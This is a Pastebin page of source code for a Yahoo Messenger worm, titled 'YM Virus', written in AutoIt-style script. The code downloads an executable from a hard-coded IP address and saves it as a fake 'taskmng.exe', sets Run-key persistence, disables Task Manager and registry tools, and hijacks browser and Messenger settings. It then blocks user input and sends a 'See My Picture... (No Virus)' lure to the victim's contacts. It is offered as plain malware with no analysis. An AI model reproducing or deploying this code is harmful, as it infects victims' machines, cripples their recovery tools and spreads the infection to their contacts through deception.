Advertisement
FlyFar

[YM Virus]VuiVeVn.HP.Ms - Source Code

Feb 24th, 2023
2,015
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
VBScript 1.78 KB | Cybersecurity | 0 0
  1. $website = "http://72.232.123.170/~love/"
  2. $website2 = "Http://dasdasdasd"
  3.  
  4.  
  5. If Not FileExists(@WindowsDir & "\taskmng.exe") Then
  6. InetGet ($website & "/xlove.exe", @WindowsDir & "\taskmng.exe", 0, 1)
  7. Sleep(500)
  8. EndIf
  9. RegWrite("HKEY_LOCAL_MACHINE\Software\Microsoft\Wi ndows\CurrentVersion\Run", "BkavFw", "REG_SZ","C:\WINDOWS\taskmng.exe")
  10. RegWrite("HKEY_LOCAL_MACHINE\Software\Microsoft\Wi ndows\CurrentVersion\Run", "Task Manager", "REG_SZ","C:\WINDOWS\taskmng.exe")
  11. RegWrite("HKEY_CURRENT_USER\Software\Policies\Micr osoft\Internet Explorer\Control Panel", "Homepage", "REG_DWORD", "1")
  12. RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Win dows\CurrentVersion\Policies\System", "DisableTaskMgr", "REG_DWORD", "1")
  13. RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Win dows\CurrentVersion\Policies\System", "DisableRegistryTools", "REG_DWORD", "1")
  14. RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Int ernet Explorer\Main", "Start Page", "REG_SZ", $website2)
  15. RegWrite("HKEY_CURRENT_USER\Software\Yahoo\pager\V iew\YMSGR_buzz", "content url", "REG_SZ", $website2)
  16. RegWrite("HKEY_CURRENT_USER\Software\Yahoo\pager\V iew\YMSGR_Launchcast", "content url", "REG_SZ", $website2)
  17. RegWrite("HKEY_LOCAL_MACHINE\Software\Microsoft\Wi ndows\CurrentVersion\Run", "Task Manager", "REG_SZ", @WindowsDir & "\taskmng.exe")
  18. RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Int ernet Explorer\Main", "Window Title", "REG_SZ", "wWw.LoveNovel.Kiss.To")
  19. $title = WinGetTitle("Yahoo! Messenger")
  20. $wincheck = WinExists ($title)
  21. ClipPut("http://adasd <=== See My Picture :X :X So Cute !!! (No Virus)")
  22. if $wincheck = 1 then
  23. BlockInput (1)
  24. WinActivate($title)
  25. send("!A")
  26. send("M")
  27. sleep(600)
  28. send("{DOWN}")
  29. send("{SHIFTDOWN}")
  30. send("{DOWN 70}")
  31. send("{enter}")
  32. send("{LSHIFT}")
  33. send("^v {ENTER}")
  34. BlockInput (0)
  35. endif
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement